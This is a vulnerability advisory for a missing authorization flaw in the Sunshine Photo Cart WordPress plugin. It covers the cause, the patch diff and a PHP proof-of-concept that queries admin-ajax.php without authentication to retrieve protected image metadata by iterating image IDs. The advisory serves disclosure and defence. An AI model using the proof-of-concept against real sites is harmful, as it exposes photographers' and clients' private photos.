Atomic Edge analysis of CVE-2026-24994:
This vulnerability is a missing authorization flaw in the Sunshine Photo Cart WordPress plugin. The flaw allows unauthenticated attackers to access sensitive image metadata. The vulnerability affects all plugin versions up to and including 3.5.7.2, with a CVSS score of 5.3.
The root cause is the absence of an access control check in the `sunshine_image_data` function located in `/sunshine-photo-cart/includes/functions/image.php`. The function handles an AJAX request to retrieve image data. Before the patch, the function only verified a valid image ID was provided via the `image_id` parameter. It did not verify if the requesting user had permission to access the gallery containing that image. The function would proceed to return the image’s ID, name, and URL without this authorization check.
Exploitation involves sending a crafted POST request to the WordPress AJAX handler endpoint `/wp-admin/admin-ajax.php`. The attacker must set the `action` parameter to `sunshine_image_data` and the `image_id` parameter to a valid numeric image ID. No authentication cookies or nonces are required. An attacker can brute-force or guess image IDs to exfiltrate metadata for images in protected galleries.
The patch adds a critical authorization check. In the patched version 3.5.7.3, the function now calls `$image->can_access()` after retrieving the image object. If this method returns false, the function terminates with a JSON error message ‘Access denied’. This method presumably checks the user’s role and permissions against the image’s gallery settings. The version number in the main plugin file is also updated from 3.5.7.2 to 3.5.7.3.
Successful exploitation allows an unauthenticated attacker to retrieve metadata for images that should be restricted to specific users or roles. This metadata includes the image’s internal ID, filename, and full URL. Exposure of these URLs could lead to unauthorized viewing or downloading of protected client photos, violating data privacy and confidentiality for photographers and their clients.
--- a/sunshine-photo-cart/includes/functions/image.php
+++ b/sunshine-photo-cart/includes/functions/image.php
@@ -126,6 +126,11 @@
wp_send_json_error();
}
+ // Verify user has access to the image's gallery.
+ if ( ! $image->can_access() ) {
+ wp_send_json_error( array( 'reason' => __( 'Access denied', 'sunshine-photo-cart' ) ) );
+ }
+
wp_send_json_success(
array(
'id' => $image->get_id(),
--- a/sunshine-photo-cart/sunshine-photo-cart.php
+++ b/sunshine-photo-cart/sunshine-photo-cart.php
@@ -5,7 +5,7 @@
* Description: Client Gallery Photo Cart & Photo Proofing Plugin for Professional Photographers using WordPress
* Author: WP Sunshine
* Author URI: https://www.wpsunshine.com
- * Version: 3.5.7.2
+ * Version: 3.5.7.3
* Text Domain: sunshine-photo-cart
* Domain Path: /languages
* License: GPLv2 or later
@@ -20,7 +20,7 @@
define( 'SUNSHINE_PHOTO_CART_PATH', plugin_dir_path( __FILE__ ) );
define( 'SUNSHINE_PHOTO_CART_URL', plugin_dir_url( __FILE__ ) );
define( 'SUNSHINE_PHOTO_CART_FILE', __FILE__ );
-define( 'SUNSHINE_PHOTO_CART_VERSION', '3.5.7.2' );
+define( 'SUNSHINE_PHOTO_CART_VERSION', '3.5.7.3' );
define( 'SUNSHINE_PHOTO_CART_STORE_URL', 'https://www.sunshinephotocart.com' );
if ( ! class_exists( 'Sunshine_Photo_Cart', false ) ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24994 - Sunshine Photo Cart <= 3.5.7.2 - Missing Authorization
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
// The image ID to target. An attacker would iterate through possible IDs.
$image_id = 123;
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Prepare the POST data for the vulnerable action
$post_data = array(
'action' => 'sunshine_image_data',
'image_id' => $image_id
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result
echo "Target: $ajax_urln";
echo "Image ID: $image_idn";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// Parse JSON response to check for success
$json_response = json_decode($response, true);
if ($json_response && isset($json_response['success']) && $json_response['success'] === true) {
echo "n[VULNERABLE] Successfully retrieved metadata for image ID $image_id.n";
echo "Image Data: " . print_r($json_response['data'], true) . "n";
} else {
echo "n[NOT VULNERABLE or IMAGE NOT FOUND] Request failed or was denied.n";
if (isset($json_response['data']['reason'])) {
echo "Reason: " . $json_response['data']['reason'] . "n";
}
}
?>
